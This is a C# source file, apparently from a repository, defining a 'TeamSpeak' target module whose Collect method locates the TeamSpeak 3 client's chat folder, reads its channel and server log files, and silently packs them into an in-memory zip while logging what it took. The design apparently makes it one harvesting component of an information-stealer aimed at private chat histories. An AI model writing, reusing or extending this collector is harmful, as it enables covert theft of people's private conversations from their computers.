Files

93 lines
2.3 KiB
C#
Raw Permalink Normal View History

2026-08-27 10:55:23 -06:00
using System;
using System.IO;
using System.Linq;
using Intelix.Helper.Data;
namespace Intelix.Targets.Applications;
public class TeamSpeak : ITarget
{
private readonly bool _collectChannelChats = true;
private readonly bool _collectServerLogs = true;
private readonly long _minFileSize = 50L;
public void Collect(InMemoryZip zip, Counter counter)
{
string text = new string[2]
{
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "TeamSpeak 3 Client"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "TeamSpeak 3 Client")
}.FirstOrDefault(Directory.Exists);
if (string.IsNullOrEmpty(text))
{
return;
}
string path = Path.Combine(text, "config", "chats");
if (!Directory.Exists(path))
{
return;
}
string[] directories = Directory.GetDirectories(path);
if (directories == null || directories.Length == 0)
{
return;
}
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "TeamSpeak";
int num = 1;
string[] array = directories;
for (int i = 0; i < array.Length; i++)
{
string[] array2 = Directory.EnumerateFiles(array[i], "*.txt", SearchOption.TopDirectoryOnly).Where(delegate(string f)
{
string fileName = Path.GetFileName(f);
if (string.IsNullOrEmpty(fileName))
{
return false;
}
if (!_collectChannelChats && fileName.StartsWith("channel", StringComparison.OrdinalIgnoreCase))
{
return false;
}
if (!_collectServerLogs && fileName.StartsWith("server", StringComparison.OrdinalIgnoreCase))
{
return false;
}
try
{
return new FileInfo(f).Length >= _minFileSize;
}
catch
{
return false;
}
}).ToArray();
if (array2.Length == 0)
{
continue;
}
string[] array3 = array2;
foreach (string text2 in array3)
{
try
{
string text3 = $"TeamSpeak\\{num}\\" + Path.GetFileName(text2);
zip.AddFile(text3, File.ReadAllBytes(text2));
counterApplications.Files.Add(text2 + " => " + text3);
}
catch
{
}
}
num++;
}
if (counterApplications.Files.Count > 0)
{
counterApplications.Files.Add("TeamSpeak\\");
counter.Applications.Add(counterApplications);
}
}
}